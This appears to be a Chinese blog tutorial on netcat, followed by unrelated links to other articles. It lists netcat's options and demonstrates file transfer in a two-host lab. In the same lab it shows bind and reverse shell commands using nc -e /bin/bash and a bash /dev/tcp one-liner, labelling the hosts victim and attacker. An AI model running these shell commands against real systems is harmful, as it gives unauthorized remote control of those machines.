NCcat学习使用
一、使用手册
1.简介:nc/NetCat是一款端口监听工具,可以用来建立系统之间的连接、传输文件、TCP代理等。
2.命令参数
nc [-options] hostname port[s] [ports] …
监听端口等待连接:nc -l -p port [-options] [hostname] [port]
主要参数[options]:
-d 无命令行界面,使用后台模式
-e prog 程序重定向 [危险!!]
-g gateway 源路由跳跃点, 不超过8
-G num 源路由指示器: 4, 8, 12, ...
-h 获取帮助信息
-i secs 延时设置,端口扫描时使用
-l 监听入站信息
-L 监听知道NetCat被结束(可断开重连)
-n 以数字形式表示的IP地址
-o file 使进制记录
-p port 打开本地端口
-r 随机本地和远程的端口
-s addr 本地源地址
-t 以TELNET的形式应答入站请求
-u UDP 模式
-v 显示详细信息 [使用=vv获取更详细的信息]
-w secs 连接超时设置
-z I/O 模式 [扫描时使用]
端口号可以是单个的或者存在一个范围: m-n [包含值]。
3.简单使用:
测试环境:
操作系统:centos 7.7
nc版本:7.50
系统A:192.168.226.128
系统B:192.168.226.129
(1)文件传输
系统A命令:nc -l -p 8978 > ./tmp.txt
系统B命令:nc -v 192.168.226.128 8978 < ./test.txt

(2)正向远程连接
主要使用nc危险参数-e将受害者系统A的/bin/bash重定向到本地某端口8978,然后攻击者系统B连接远程端口8978
系统A命令:nc -t -e /bin/bash -l -p 8978
系统B命令:nc -v 192.168.226.128 8978

(3)反向连接
攻击者系统B监听本地端口8978,然后在受害者系统中使用nc危险参数-e将受害者系统A的/bin/bash重定向连接到远程端口8978。
系统B命令:nc -lvp 8978
系统A命令: nc -t -e /bin/bash 192.168.226.129 8978

补充:
使用bash -i >& /dev/tcp/192.168.226.129/8978 0>&1也可以进行反弹shell连接
系统A命令:bash -i >& /dev/tcp/192.168.226.129/8978 0>&1
系统B命令:nc -lvp 8978
--broker参数可用于数据转发代理使用(参考https://www.jianshu.com/p/a2c89231e0c9)
参考链接
https://blog.csdn.net/bcbobo21cn/article/details/52095914
https://www.cnblogs.com/kankanhua/p/5843608.html
https://blog.csdn.net/phone15062117684/article/details/79039735
NCcat学习使用的更多相关文章
- 从直播编程到直播教育:LiveEdu.tv开启多元化的在线学习直播时代
2015年9月,一个叫Livecoding.tv的网站在互联网上引起了编程界的注意.缘于Pingwest品玩的一位编辑在上网时无意中发现了这个网站,并写了一篇文章<一个比直播睡觉更奇怪的网站:直 ...
- Angular2学习笔记(1)
Angular2学习笔记(1) 1. 写在前面 之前基于Electron写过一个Markdown编辑器.就其功能而言,主要功能已经实现,一些小的不影响使用的功能由于时间关系还没有完成:但就代码而言,之 ...
- ABP入门系列(1)——学习Abp框架之实操演练
作为.Net工地搬砖长工一名,一直致力于挖坑(Bug)填坑(Debug),但技术却不见长进.也曾热情于新技术的学习,憧憬过成为技术大拿.从前端到后端,从bootstrap到javascript,从py ...
- 消息队列——RabbitMQ学习笔记
消息队列--RabbitMQ学习笔记 1. 写在前面 昨天简单学习了一个消息队列项目--RabbitMQ,今天趁热打铁,将学到的东西记录下来. 学习的资料主要是官网给出的6个基本的消息发送/接收模型, ...
- js学习笔记:webpack基础入门(一)
之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...
- Unity3d学习 制作地形
这周学习了如何在unity中制作地形,就是在一个Terrain的对象上盖几座小山,在山底种几棵树,那就讲一下如何完成上述内容. 1.在新键得项目的游戏的Hierarchy目录中新键一个Terrain对 ...
- 《Django By Example》第四章 中文 翻译 (个人学习,渣翻)
书籍出处:https://www.packtpub.com/web-development/django-example 原作者:Antonio Melé (译者注:祝大家新年快乐,这次带来<D ...
- 菜鸟Python学习笔记第一天:关于一些函数库的使用
2017年1月3日 星期二 大一学习一门新的计算机语言真的很难,有时候连函数拼写出错查错都能查半天,没办法,谁让我英语太渣. 关于计算机语言的学习我想还是从C语言学习开始为好,Python有很多语言的 ...
- 多线程爬坑之路-学习多线程需要来了解哪些东西?(concurrent并发包的数据结构和线程池,Locks锁,Atomic原子类)
前言:刚学习了一段机器学习,最近需要重构一个java项目,又赶过来看java.大多是线程代码,没办法,那时候总觉得多线程是个很难的部分很少用到,所以一直没下决定去啃,那些年留下的坑,总是得自己跳进去填 ...
随机推荐
- 后台传给前端字符串为null或解析JSON字符错误——SyntaxError: JSON.parse: unterminated string literal at line 1 column 9018638 of the JSON data
第一种情况: 第二种情况: 首先看看你的JSONObject或JSONArray的引用有没有Getter()和Setter()方法,这个必须要加上 问题:两张表双向多对一.一对多时.响应给后台使,出现 ...
- Ant风格路径表达式
ANT通配符有三种: ? 匹配任何单字符 * 匹配0或者任意数量的字符 ** 匹配0或者更多的目录 举例: /project/*.a 匹配项目根路径下所有在project路径下的.a文件 /proje ...
- ICCV2019《KPConv: Flexible and Deformable Convolution for Point Clouds》
针对semantic3D数据集: 1.数据集准备: Semantic3D dataset can be found <a href="http://www.semantic3d.net ...
- 第十周计划周二&周三计划
今天又一次被导师训了,怎么也达不到他的要求,好像我俩不在一条线上.所以现在重新整理一遍思路,继续走. 我认为重点还是主题追踪这一块,但是主题追踪的结果以及显示是个问题,目前还是打算做出来当天最热的前几 ...
- Docker 简单发布dotnet core项目 图文版
原文:https://www.cnblogs.com/chuankang/p/9474591.html docker发布dotnet core简单流程 需要结合这个版本看哈 地址:https://ww ...
- Luogu P4068 [SDOI2016]数字配对
反正现在做题那么少就争取做一题写一题博客吧 看到题目发现数字种类不多,而且结合价值的要求可以容易地想到使用费用流 但是我们如果朴素地建图就会遇到一个问题,若\(i,j\)符合要求,那么给\(i,j\) ...
- 剑指offer:数据流中的中位数(小顶堆+大顶堆)
1. 题目描述 /** 如何得到一个数据流中的中位数? 如果从数据流中读出奇数个数值,那么中位数就是所有数值排序之后位于中间的数值. 如果从数据流中读出偶数个数值,那么中位数就是所有数值排序之后中间两 ...
- D3D9.0管线图
详见:pipeline-9.0.png
- PCL学习之:将超声数据按照PCL点云方式发布出去
前言:基于2D激光雷达的机器人,想让它跑自动导航,众所周知有2个比较明显的缺陷,1,那就是普通的激光雷达无法对玻璃或是镜面物体有反映; 2,机器人避障时只能对某一个平面的物体有反映,超过或者低于这个平 ...
- Kubernetes容器集群管理环境 - Node节点的移除与加入
一.如何从Kubernetes集群中移除Node比如从集群中移除k8s-node03这个Node节点,做法如下: 1)先在master节点查看Node情况 [root@k8s-master01 ~]# ...